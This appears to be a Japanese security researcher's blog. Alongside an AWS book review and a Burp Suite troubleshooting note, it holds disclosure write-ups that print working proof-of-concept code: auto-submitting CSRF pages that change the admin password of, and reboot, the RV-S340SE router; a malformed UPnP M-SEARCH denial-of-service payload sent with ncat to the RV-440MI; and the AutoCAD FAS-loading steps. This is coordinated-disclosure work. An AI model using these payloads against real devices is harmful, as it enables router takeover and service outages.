Hatena::ブログ(Diary)

思い立ったら書く日記

 

2015-04-11

「Amazon Web Services パターン別構築・運用ガイド」を読んだ

| 15:04 | 「Amazon Web Services パターン別構築・運用ガイド」を読んだを含むブックマーク

2015 年 03 月 25 日に「一番大切な知識と技術が身につく Amazon Web Services パターン別構築・運用ガイド」(以降、パターン別構築・運用ガイド)が出版されました。著者の一人、佐々木 拓郎 氏のブログで興味を持ち、当該書籍を読みました。この日記では、感想と読書メモを記録します。

感想

AWS を使ったシステムを構築する、または AWS を使ったシステムを運用する技術者だけではなく、AWS を使ってシステムをレビューする技術者にも役に立つ書籍だと感じました。

僕は AWS を使ったシステムを構築または運用していませんが、AWS を使ったシステムをセキュリティの観点からレビューする場合があります。そのときには、AWS の仕様やセキュリティ機能などの知識が必要です。最終的には AWS 公式ドキュメントを確認しますが、AWS の全般的な知識があれば、どういった点を確認すればよいかポイントを絞れます。この書籍は、そういった全般的な AWS の知識を得る上でとても役に立ちます:)

類似した書籍には「Amazon Web Services クラウドデザインパターン実装ガイド」(以降、実装ガイド)(2013 年 02 月 03 日出版) がありますが、「パターン別構築・運用ガイド」では、「実装ガイド」でふれていない Elastic Beanstalk / Cloud Formation / Cognito などを使った構築例や IAM にも言及しています。また、セキュリティに関する言及も豊富です。例えば、「AWS のセキュリティ」という独立した章、AWS アカウント(通称 root アカウント) における MFA(Multi-Factor Authentication) を有効にすべき項目として紹介する*1、などです。

AWS 公式ドキュメントなどで詳細・不明点を確認するための道しるべとして、この書籍を活用するつもりです。著者の皆様、よい書籍を執筆していただき、ありがとうございました!

読書メモ

  • 当該書籍を読んで、気になった記述をピックアップおよび引用しました。
  • 主に AWS の仕様やセキュリティに関する事柄が該当します。
  • 斜体の文章は当該書籍からの引用です。
Chapter1 AWSの基本
  • pp.22-23 AWSネットワークとVPCネットワーク
    • AWS サービスを AWS ネットワーク、VPC ネットワークごとに分類
    • AWSネットワークはインターネットからのアクセスできるネットワークのこと
    • VPCネットワークはVPC環境内の閉じられたネットワークのこと
  • pp.24-27 Amazon Elastic Compute Cloud
  • pp.27-29 Amazon Elastic Block Store
    • EBSの暗号化
      • AES-256アルゴリズム
      • 暗号化オプションを有効にしたSnapshotを他のAWSアカウントと共有すること、AWS利用ユーザにパブリックに公開することはできない
  • pp.30-33 Amazon Simple Storage Service
    • S3の暗号化
      • サーバサイト暗号化(SSE), AES-256アルゴリズム
      • Amazon S3キー管理(SSE-S3)
      • クライアントキー(SSE-C)
      • AWS KMS(SSE-KMS)
    • S3のアクセス管理
      • バケットポリシー、ACL、IAMでの制御の3つ
      • 表 1-3-1 S3のアクセス管理の単位
  • pp.35-42 Amazon Relational Database Service
    • RDSインスタンスへのアクセスポート
      • RDSインスタンスへは、特定のポートとプロトコルでしかアクセスできません
    • RDSのログ
      • AWSマネージメントコンソール等からRDSのログを確認することができます
    • パラメータグループ
    • オプショングループ
  • pp.47-51 Amazon ElastiCache
    • パラメータグループ
  • pp.61-63 AWSの料金体系
    • 従量課金には、時間ベース、容量ベース、回数ベースの3つがあります
    • 容量ベース
      • ネットワーク課金の考え方としては、インとアウトがあります。外のネットワークからAWSへの通信をインと呼び、AWSから外部のネットワークへの通信はアウトと呼びます。インについては、基本無料です。アウトの通信に対して、1GBあたり幾らという計算の仕方で課金されます
Chapter2 AWSを利用する
  • pp.68-76 AWSアカウントの作成
    • MFA(Multi-Factor Authentication)の設定
      • AWSマネージメントコンソールにサインインして、最初に行うことはMFA(Multi-Factor Authentication)の設定です...特に、現在ログインしているアカウントはルートアカウントと呼ばれ、AWSに対するあらゆる権限を持っています。これが乗っ取られると、AWSのリソースが思うままに使われ、莫大な料金が請求されるだけではなく、最悪の場合、犯罪に利用されることもあります
  • pp.76-91 ユーザアカウントの作成(IAMアカウント)
    • アクセスキーの入手
      • ただし、同じアクセスキーは二度とダウンロードできないので、ダウンロードしたCSVファイルは注意して管理してください
    • IAMポリシー
      • ポリシーは、Managed PoliciesとInline Policiesの2種類があります
  • pp.116-117 Default-VPC
  • pp.118-132 Custom-VPCを作成する
    • VPCネットワークの作成
      • Tenancyで「Dedicated」を設定すると、EC2インスタンスを起動するホストサーバを指定(占有)できます。セキュリティやコンプライアンスの問題で、ホストサーバを他システムと共有することが許されない場合等に使用します
  • pp.133-136 AWS操作用の公開鍵・秘密鍵の作成(KeyPair)
    • AWS外部で作成した公開鍵のインポート
      • 表2-5-2 インポートできる鍵の制限
  • pp.137-142 Security Groupを作成する
    • Security GroupはAWSにおいてファイアウォールの役割を果たします。Security GroupはWhite List方式なので、「何を許可するのか」のみを指定できます。何も指定しなければ、全てを拒否することになります
  • pp.159-162 Elastic IP(EIP)の利用
    • EC2に割り当てることのできるグローバルIPには、2種類あります。1つは、先ほど利用したパブリックIP、もう1つがElastic IP(EIP)です
  • pp.163-167 ELBサービスの詳細
    • External-ELBとInternal-ELB
    • SSLターミネーション
    • スティッキーセッション
      • スティッキーセッションとは、同じユーザからきたリクエストを同じインスタンスで処理させるようにする機能です。ELBのスティッキーセッションは、ELBが独自に発行するCookieを利用する方式と、アプリケーションが発行したCookieを利用する方式の2種類が選択できます
    • ログ取得機能
      • ELBで処理したリクエストのログを取得することができます
Chapter3 パターン別構築例
  • pp.233-239 Elastic Beanstalkを利用したロードバランシングとHTTPSサイトの構築
    • ELB、RDS、Auto Scalingの設定変更
      • SSL証明書は前節でアップロードした証明書を利用します...証明書をアップロードしたのはELBの画面ですが、AWS側ではIAMのなかに保存されています
  • pp.256-263 CloudFrontとの連携
    • 表3-3-4 Distributionの設定(Default Cache Behavior Settings)
      • Forward Cookies
      • Forward Query Strings
      • Restrict Viewer Access
    • 表3-3-5 Distributionの設定(Distribution Settings)
      • Logging
  • pp.275-278 Auto Scaling使用時のEC2インスタンスの初期化処理
  • pp.327-331 EC2インスタンスにメールサーバを構築する
    • メール送信に必要な準備
      • AWSでは、不適切なメール(スパムメール等)の送信に利用されることを防ぐため、パブリックIPやEIPから一定以上のメールが送信できないように制限されています。また、パブリックIPやEIPは原則としてRBL(Real-time Blackhole List)に登録されています。これらは不用意に不適切なメール送信を防ぐことを目的としています
  • pp.342-348 Cognitoによるユーザ認証と2Tierアーキテクチャ
    • Cognitoは、モバイル向けに設計されたAWSの認証・認可のサービスです。Cognitoを利用することにより、アクセスキーとシークレットキーを利用しない認証の仕組みを実現できます
    • Cognitoを中心としたユーザ認証とアクセス認可
      • 構成要素としては、Identity Providerによる認証と、CognitoによるCredentialの発行、IAMロールによる権限の付与の3つの要素になります
      • Cognitoの機能は従来から提供されていたSTS(Security Token Services)を利用したWeb Identity Federationと非常に似ています。Cognitoの内部的には、STSを利用しているというところは同じで、認証やロールの設定等がより簡単に使えるラッパー的なAPIと考えることができるかもしれません
Chapter4 AWSのセキュリティ
  • pp.365- AWSのアカウント種類
    • IAMポリシー
      • AWSが最初から設定しているポリシーをAWS Managed Policiesといい、各ユーザが独自に作成したポリシーをCustomer Managed Policiesといいます
      • IAMマネージドポリシーは、2015年2月に提供された新しいポリシーの管理方法です。IAMユーザやグループ、ロールといった各役割に付与する権限を、オブジェクトとして管理できるようになりました...これまでのポリシー管理方法は「マネージドポリシー」に対して、インラインポリシーとよばれます
Chapter5 管理と運用
  • pp.430-431 AMIの運用方法
    • AMIのオンライン取得
      • AMIはEC2インスタンスが稼働している状態でも取得することは可能です
  • pp.432-435 AWSのサービスログ/操作履歴のログを収集保存する
    • AWSサービスのログを収集する
      • S3のログの注意点としては、2015年2月現在では、ベストエフォート型で全てのアクセスログが完全に出力するという保証はありません。また、ログ出力はリアルタイムではなく、少し遅れて出力されます

2014-11-29

Error "server certificate change is restricted during renegotiation" on Burp Suite Free Edition v1.6

| 16:07 | Error "server certificate change is restricted during renegotiation" on Burp Suite Free Edition v1.6を含むブックマーク

The following errors happened when I used Burp Suite Free Edition v1.6 with upstream proxy; @ posted an image of these errors. Thanks for @anshuman_bh and @, I have known solutions for the errors. And, I blogged this entry for someone who may face the errors.

Attempting to auto-select SSL parameters for <FQDN>
Failed to auto-select SSL parameters for <FQDN>
javax.net.SSLException: server certificate change is restricted during renegotiation
server certificate change is restricted during renegotiation

Solution

  • Use latest Burp Suite

Burp Suite v1.6.07 applied a workaround related to the errors by @Burp_Suite (tweet). If you use Burp Suite Free Edition, I use, you cannot update to date soon. Then you can do some workarounds.

Workarounds
  • Use Burp Suite without upstream proxy by @anshuman_bh (tweet)
  • Use Java 1.7_67 and earlier version; it is bad for security reason.
    • The errors happened with Java 1.7_71 .
    • I confirmed that it was not the errors Burp Suite with Java 1.7_67 .
  • Use Burp Suite with OWASP ZAP by @ and @ (tweet)
    • Burp Suite -> OWASP ZAP -> upstream proxy

2014-11-20

ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正された

| 01:30 | ひかり電話ルータ 「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されたを含むブックマーク

2012 年 12 月、ひかり電話ルータ「RV-S340SE」におけるクロスサイトリクエストフォージェリ(CSRF)の脆弱性が修正されました。2011 年 9 月 26 日に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。取扱終了となった理由は、「RV-440MI」の脆弱性と同様でした。

脆弱性の再現手順

IPA に報告した脆弱性関連情報(様式)から再現手順を引用します。

2. 脆弱性関連情報
(snip)
  2) 脆弱性を確認したソフトウエア等に関する情報
     名称:ひかり電話ルータ (RV-S340SE)
     バージョン:14.07
(snip)
  3) 脆弱性の種類
     クロスサイト・リクエスト・フォージェリ


  4) 再現手順
     RV-S340SE のウェブ管理インターフェイスに特定のパラメータと値
     を送信させるウェブページに、RV-S340SE にログインした利用者を
     誘導することでクロスサイト・リクエスト・フォージェリが再現で
     きます。

     この再現手順では、「RV-S340SE のウェブ管理インターフェイスの
     パスワードを変更させる」、「RV-S340SE を再起動させる」、2 つ
     の手順を示します。

     ■「RV-S340SE のウェブ管理インターフェイスのパスワードを変更させる」
     (1) 以下の内容の html ファイルをウェブサーバに設置する。
         この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側
         IP アドレスとなります。
     ------------------------------
     <html>
     <head><title>RV-S340SE CSRF(change password) PoC</title></head>
     <body onLoad="document.getElementById('form0').submit();">
     <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post">
     <input type="hidden" name="mbg_webname" value="loginpass_user_input">
     <input type="hidden" name="config_no" value="1">
     <input type="hidden" name="loginpass_user_pass" value="exploit">
     <input type="hidden" name="loginpass_user_passcfm" value="exploit">
     <input type="hidden" name="mbg_set" value="設定">
     <input type="submit" value="exploit">
     </form>
     </body>
     </html>
     ------------------------------

     (2) RV-S340SE にウェブブラウザでアクセスして認証する。

     (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の
         html ファイルにアクセスする。

         当該 html ファイルでは JavaScript により自動的に POST
         リクエストを送信するため、ウェブブラウザでは JavaScript
         を有効にしておくこと。

     (4) 別のウェブブラウザから RV-S340SE にアクセスして認証する。
         このとき、パスワードには「exploit」を指定する。

         (2) でログインしたときのパスワードが (1) で指定したパス
         ワード「exploit」に変わっていることを確認できます。

     ■「RV-S340SE を再起動させる」
     (1) 以下の内容の html ファイルをウェブサーバに設置する。
         この html ファイル中の 192.168.0.1 は、RV-S340SE の LAN 側
         IP アドレスとなります。
     ------------------------------
     <html>
     <head><title>RV-S340SE CSRF(Reboot) PoC</title></head>
     <body onLoad="document.getElementById('form0').submit();">
     <form id="form0" action="http://192.168.0.1/cgi-bin/main.cgi" method="post">
     <input type="hidden" name="mbg_webname" value="reboot">
     <input type="hidden" name="config_no" value="1">
     <input type="hidden" name="mbg_reboot_set" value="再起動">
     <input type="submit" value="exploit">
     </form>
     </body>
     </html>
     ------------------------------

     (2) RV-S340SE にウェブブラウザでアクセスして認証する。

     (3) (2) で RV-S340SE にログインしたウェブブラウザで、(1) の
         html ファイルにアクセスする。

         当該 html ファイルでは JavaScript により自動的に POST
         リクエストを送信するため、ウェブブラウザでは JavaScript
         を有効にしておくこと。

     (4) RV-S340SE が再起動することを確認できます。

報告から取扱終了までの時系列

手元に残っている記録をもとに時系列をまとめました。IPA から質問いただいた記録もないため、報告した後には取扱終了まで音沙汰がなかったと思います。

年月日事柄
2011/09/26IPA に脆弱性情報を報告
2012/12/10ファームウェア Ver.17.03 がリリース
2012/12/25ファームウェア Ver.17.04*1 がリリース
2014/10/21IPA から取扱終了の連絡をいただく。同日、取扱終了に同意

さいごに

脆弱性を修正いただいた NTT 社、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

*1IPA からは「届出頂いた脆弱性に対する修正を実施したファームウェアを 2012 年 12 月にリリースした」と連絡いただきました。このことから、17.03 または 17.04 のどちらかで当該脆弱性が修正されたと判断しました。

2014-11-07

ひかり電話ルータ「RV-440MI」 における Portable SDK for UPnP の脆弱性が修正された

| 22:20 |  ひかり電話ルータ「RV-440MI」 における Portable SDK for UPnP の脆弱性が修正された を含むブックマーク

2014 年 7 月 7 日、ひかり電話ルータ「RV-440MI」における Portable SDK for UPnP の脆弱性(JVNVU#90348117)が修正されました。2013 年 2 月に IPA にこの脆弱性を報告したところ、2014 年 10 月に脆弱性情報が公表されずに取扱終了となりました。

この日記では、この脆弱性について、次の 4 点を書きます。

  • 脆弱性を発見した経緯
  • 脆弱性の再現手順
  • 取扱終了となった理由
  • 報告から取扱終了までの時系列

脆弱性を発見した経緯

Nmap の NSE スクリプト「upnp-info」を試用していたとき、当該脆弱性の可能性を確認しました。

2013 年 2 月 11 日の日記を書いた頃、UPnP を調べていました。この過程で「RV-440MI」に「upnp-info」を実行したところ、下記の結果*1を得ました。この Server ヘッダの「Intel SDK for UPnP devices/1.3.1」をみたところ、「ん?」と思いました。JVNVU#90348117VU#922681)の脆弱なバージョンに該当するのではないかと。

そこで、「Security Flaws in Universal Plug and Play」 p.17 の情報にもとづく単純な実証コードを試行したところ、当該製品の UPnP サービスが DoS 状態となりました。この結果から脆弱性の存在を確信して IPA に報告しました。

$>nmap -sU -p1900 --script=upnp-info.nse -n 192.168.0.1

Starting Nmap 6.25 ( http://nmap.org ) at 2013-02-04 02:09 東京 (標準時)
Nmap scan report for 192.168.0.1
Host is up (0.00s latency).
PORT     STATE SERVICE
1900/udp open  upnp
| upnp-info:
| 192.168.0.1
|     Server: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|     Location: http://192.168.0.1:49152/gatedesc.xml
|       Webserver: Linux/2.6.33.5, UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|       Name: RV-440MI
(snip)
|_      Model Version:
MAC Address: 38:E0:8E:XX:XX:XX (Mitsubishi Electric Co.)

Nmap done: 1 IP address (1 host up) scanned in 2.63 seconds

脆弱性の再現手順

IPA に報告した脆弱性関連情報(様式はこちら)から再現手順、検証コードなどを引用します。なお、引用文の「RV-440MI_malformed-msearch.pcap」を Cloudshark にアップロードしました(こちら)。

  4) 再現手順
     (1) 8) の検証コードをテキストファイルに保存する。
         本手順では、「m-search_malformed.txt」とする。

     (2) Nmap 6.25 に同梱されている「ncat」を使って、検証コードを
         対象製品に送信する。

         $> ncat -u --send-only 239.255.255.250 1900 < m-search_malformed.txt
         または
         $> ncat -u --send-only 192.168.0.1 1900 < m-search_malformed.txt
         (192.168.0.1 は対象製品の IP アドレス)

     (3) Nmap にて 1900/udp にポートスキャンを実行すると、Nmap の
         実行結果が closed となっていることが確認できます。

         $> nmap -sU -p 1900 -n 192.168.0.1

         実際には対象製品から ICMP Port Unreachable という応答が
         返ってきています。

     (2) でマルチキャスト宛に M-SEARCH リクエストを送信した結果、
     および (3) のポートスキャンの結果をパケットキャプチャファイ
     ルに保存しました。
     添付ファイル:RV-440MI_malformed-msearch.pcap

  5) 再現の状況
     ■ 常に    □ 時々    □ まれに

     4) 再現手順の (2) を 1 回送信しただけでは、(3) の結果が得ら
     れない場合がありましたが、2,3 回送信することで再現すること
     を確認しています。

(snip)

  8) 検証コード
     この検証コードは、Rapid7 社「Security Flaws in Universal Plug
     and Play」p.17 に記載されているコードを基に作成しました。
     https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf

--- ここから ----------------------------------------------------
M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:uuid:schemas:device:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:anything
Man:"ssdp:discover"
MX:3

--- ここまで ----------------------------------------------------

取扱終了となった理由

2014 年 10 月 14 日、IPA から「製品開発者が全ての製品利用者を把握しており本制度の適用範囲に該当せず、かつ全ての製品利用者への対策が完了しているため、本件の取扱いを終了」するとの連絡をいただきました。このとき、情報セキュリティ早期警戒パートナーシップガイドラインの該当箇所も提示いただきました(下記参照)。

すでに脆弱性が修正されており、反論する根拠もなかったため、僕は取扱終了に同意しました。

  III.本ガイドラインの適用の範囲
   本ガイドラインの適用の範囲は、脆弱性により不特定多数の人々に
   被害を及ぼすもので、以下に挙げるものを想定しています。

  IV.ソフトウエア製品に係る脆弱性関連情報取扱
   3.IPA および JPCERT/CC の対応
    (1) IPA
      7) 脆弱性関連情報受理後の対応
      IPA は、JPCERT/CC に通知した脆弱性関連情報に関して、以下の
      いずれかに該当する場合、発見者に連絡するとともに、処理を取
      りやめることがあります

      (ウ) 製品開発者がすべての製品利用者に通知する場合(システム
           構築事業者を介して通知するケースを含む

報告から取扱終了までの時系列

年月日事柄
2013/02/05IPA に脆弱性情報を報告
2013/02/07IPA から脆弱性情報を受理したとの連絡をいただく
2013/05/13IPA から脆弱性情報に関する質問をいただく。同日、質問に回答
2014/07/07ファームウェア Ver.06.01.0019 がリリース
2014/07/09ファームウェア Ver.06.01.0019 で事象が再現しないことを確認
2014/07/10IPA に対応状況を質問
2014/07/25IPA から「Ver.06.01.0019で脆弱性が修正されたこと」を連絡いただく。また「製品開発者は当該製品の利用者を全て把握していること」をふまえて、届出の取扱いを検討するとのこと
2014/09/11IPA に検討状況を確認
2014/09/12IPA および JPCERT/CC にて製品開発者からの「全ての利用者を把握している」正式な連絡内容を確認しているとのこと
2014/10/14IPA から取扱終了の連絡をいただく
2014/10/19取扱終了に同意

さいごに

脆弱性を修正いただいた NTT 社、報告から修正および取扱終了まで調整いただいた IPA および JPCERT/CC、ご対応ありがとうございました。

*1:MAC アドレスの下位 3 バイトを XX:XX:XX でマスクしました。

2014-02-23

AutoCADの脆弱性CVE-2014-0818, CVE-2014-0819が修正された

| 17:44 | AutoCADの脆弱性CVE-2014-0818, CVE-2014-0819が修正されたを含むブックマーク

2014年2月21日、AutoCAD の脆弱性 CVE-2014-0818(JVN#33382534), CVE-2014-0819(JVN#43254599)が修正されたことが公表されました。この日記では、これらの脆弱性について次の 4 点を書きます。

  • 脆弱性を発見した経緯
  • IPA への脆弱性届出情報(抜粋)
  • 脆弱性を修正したバージョンにおける再現手順の実施結果
  • 報告から修正までの時系列

[Update Mar 19, 2014]

I wrote up a summary of this post in English and submitted to Packet Storm.

脆弱性を発見した経緯

まず、僕が直接 CVE-2014-0818(JVN#33382534)を発見したわけではありません。発見者よりは報告者という表現が適切です。

2012 年 6 月、ESET が AutoCAD の AutoLISP で書かれたワーム「ACAD/Medre.A」のブログ記事を公開しました。このブログ記事では、「ACAD/Medre.A」が感染するために AutoLisp コードの自動読み込み機能を悪用していることを説明していました。このとき、僕は読み込む AutoLisp コードを決定する探索パスに疑問を持ちました。そして、AutoCAD の公式ドキュメントを読むと、ファイル名だけ指定された場合に、まずカレントディレクトリを探索することを確認できました。

そこで、ESET のブログ記事をもとに実証コードを作成したうえで、「ACAD/Medre.A」の感染原因を「ファイル探索パスに関する脆弱性」として IPA に報告しました。なお、報告内容をまとめる過程で、DLL 読み込みに関する脆弱性の可能性も確認できたため、これもあわせて報告しました。

IPA への脆弱性届出情報(抜粋)

IPA への脆弱性届出情報(様式はここを参照)のうち、「2. 脆弱性関連情報」と「6. その他」を抜粋します。この抜粋した情報には、JVN#33382534 に関連する AutoCAD 公式ドキュメントへのリンクや再現手順などを含みます。日記に転載するうえで【】の記述を加筆しましたが、それ以外は原文のままです。

======================================================================
(抜粋)

2. 脆弱性関連情報

  1) この脆弱性関連情報の入手先
     □ 自分で発見した    □ 人から入手した
     ■ ウェブサイトから入手した
        (http://blog.eset.com/2012/06/21/acadmedre-a-technical-analysis-2)

  2) 脆弱性を確認したソフトウエア等に関する情報
     名称:AutoCAD 2013
     バージョン:G.55.0.0
     パッチレベル:-
     言語:日本語
     設定情報:-

  3) 脆弱性の種類
     ファイル探索パスに関する脆弱性
     (CWE-427: http://cwe.mitre.org/data/definitions/427.html)

  4) 再現手順
     (1) 「AutoCAD 2013」を起動して、AutoCAD 2013 図面ファイル
         「Drawing1.dwg」を作成する。この「Drawing1.dwg」と検証
         コード「Acad.fas」を同じフォルダに保存しておく。
         (添付ファイル:AutoCAD2013_exploit01.png)【後述】

     (2) 「Drawing1.dwg」をダブルクリックで開く。このとき、別途
         「Process Monitor」も起動しておく。

     (3) 「AutoCAD 2013」が起動すると同時に、電卓プログラム(calc.exe)
         が起動してしまう。
         (添付ファイル:AutoCAD2013_exploit02.png)【後述】

         (2) の「Process Monitor」の結果を確認すると、「Drawing1.dwg」
         と同じフォルダに保存した「Acad.fas」が読み込まれているこ
         とが分かります。
         (添付ファイル:AutoCAD2013_exploit03.png)【後述】

         さらに「Process Monitor」の [Event Properties] - [Stack] で
         確認したところ、accore.dll のコードが「Acad.fas」を読み込ん
         でいるようです。
         (添付ファイル:AutoCAD2013_exploit03-2.png)【後述】

  5) 再現の状況
     ■ 常に    □ 時々    □ まれに
     補足説明(バージョンによる、言語による、などを記入)

  6) 脆弱性により発生しうる脅威
     第三者が用意した FAS ファイル(*)が読み込まれることで、任意の
     VBScript が実行されてしまう恐れがあります。本届出の情報入手
     先にあるように、実際にマルウェア「ACAD/Medre.A」が本届出情報
     を悪用したようです。

     (*) コンパイルされた AutoLisp コード
         http://exchange.autodesk.com/autocadmechanical/jpn/online-help/AMECH_PP/2012/jpn/pages/WS73099cc142f4875516d84be10ebc87a53f-7bc0.htm

  7) 回避策
     ・運用における回避策(現実的には難しい)
     「AutoCAD 2013」に関連付いたファイルをダブルクリックで開くと
     きに、同じフォルダに FAS ファイルがないことを確認する。

  8) 検証コード
     http://blog.eset.com/2012/06/21/acadmedre-a-technical-analysis-2
     を参考に次の AutoLisp コードを書きました。
----- ここから ----------------------
【日記に掲載する上で削除しました】
----- ここまで ----------------------

     上記コードを「exploit.lsp」というファイル名で保存しました。

     この「exploit.lsp」を下記の情報を基にコンパイルして、「Acad.fas」
     という FAS ファイルを作成しました。
     http://exchange.autodesk.com/autocad/jpn/online-help/browse#WS73099cc142f4875516d84be10ebc87a53f-787d.htm

     具体的には、「AutoCAD 2013」の [管理]メニューから Visual LISP
     エディタを起動して、Visual LISP Console にて、以下のコマンドを
     実行します(「exploit.lsp」を C:\exploit フォルダに保存してい
     るという前提です)。
     (vlisp-compile 'st "c:/exploit/exploit.lsp" "c:/exploit/Acad.fas")

  9) その他
     ・バージョンについては、[AutoCAD 2013 バージョン情報]メニュー
       で確認しました。
       (添付ファイル:AutoCAD2013_version.png)
       【日記には掲載しません】

     ・本届出と類似した脆弱性としては、CVE-2011-3360 があります。
       http://cve.mitre.org/cgi-bin/cvename.cgi?name=2011-3360
       http://www.exploit-db.com/exploits/18125/

     ・AutoCAD ドキュメントの「load」関数の説明によると、
       FAS ファイルのみ指定された場合、「AutoCAD 2013」は
       まずカレントディレクトリを探索するようです。
       http://exchange.autodesk.com/autocad/jpn/online-help/browse#WS73099cc142f4875516d84be10ebc87a53f-7872.htm

(抜粋)

6. その他

  4) 再現手順の「Process Monitor」の結果を確認したところ、
  「AutoCAD 2013」には DLL 読み込みに関する脆弱性も存在している
  可能性があります。

  添付ファイル「AutoCAD_exploit.zip」の AutoCAD_exploit.PML を
  「Process Monitor」で開き、DLL の読み込み状況をご確認ください。
  【日記には掲載しません】
======================================================================

f:id:kaito834:20140222203210p:image:w420:h258

AutoCAD2013_exploit01.png


f:id:kaito834:20140222203211p:image:w420:h258

AutoCAD2013_exploit02.png


f:id:kaito834:20140222203212p:image:w387:h254

AutoCAD2013_exploit03.png


f:id:kaito834:20140222203213p:image:w387:h285

AutoCAD2013_exploit03-2.png

脆弱性を修正したバージョンにおける再現手順の実施結果

脆弱性が修正された「AutoCAD 2014」の体験版で、IPA への脆弱性届出情報 2.4) 再現手順を実施してみました*1。すると、「AutoCAD 2014」が起動すると、次の警告ダイアログウインドウが表示されました。このウインドウにて [ロードしない](初期選択)を選択すると、acad.FAS のコードが実行されずに「Drawing1.dwg」が表示されました。一方、[ロードする] を選択すると、定番の電卓プログラム(calc.exe)が起動しました。

レジストリを探索しても、AutoCAD 2013 Service Pack 1 で導入された AUTOLOAD および AUTOLOADPATH パラメータを確認できなかったこともふまえると、AutoLisp コードの自動読み込み機能を維持しつつ、(危険性のある)コードの実行可否を利用者に委ねることで、脆弱性を解消したと理解しました。

f:id:kaito834:20140223161819p:image:w278:h105

報告から公表までの時系列

IPA に脆弱性を報告してから、脆弱性が公表されるまでの時系列を下表にまとめました。

年月日事柄
2012年7月3日IPA に AutoCAD の脆弱性を報告した。同日、IPA から「脆弱性情報を受信したこと」を連絡いただいた。
2012年8月6日IPA から、「報告した脆弱性情報を脆弱性として受理したこと」および「脆弱性情報を開発者に通知したこと」を連絡いただいた。
2012年8月*2Autodesk 社がセキュリティ制御を実装した AutoCAD 2013 Service Pack 1(SP1)*3 を公開した。
2013年4月4日IPA に報告した脆弱性の対応状況を問い合わせた。
2013年4月18日IPA から「問題を一部修正したバージョン(Service Pack) を提供しており、現在も対応中」との回答をいただいた(このとき、僕は SP1 の存在を知りました)。
2013年5月11日IPA に「『FAS ファイルのファイル探索パスに関する脆弱性』(CVE-2014-0818)の修正を完了しており、現在『DLL 読み込みに関する脆弱性』(CVE-2014-0819)を修正している状況か」確認した。
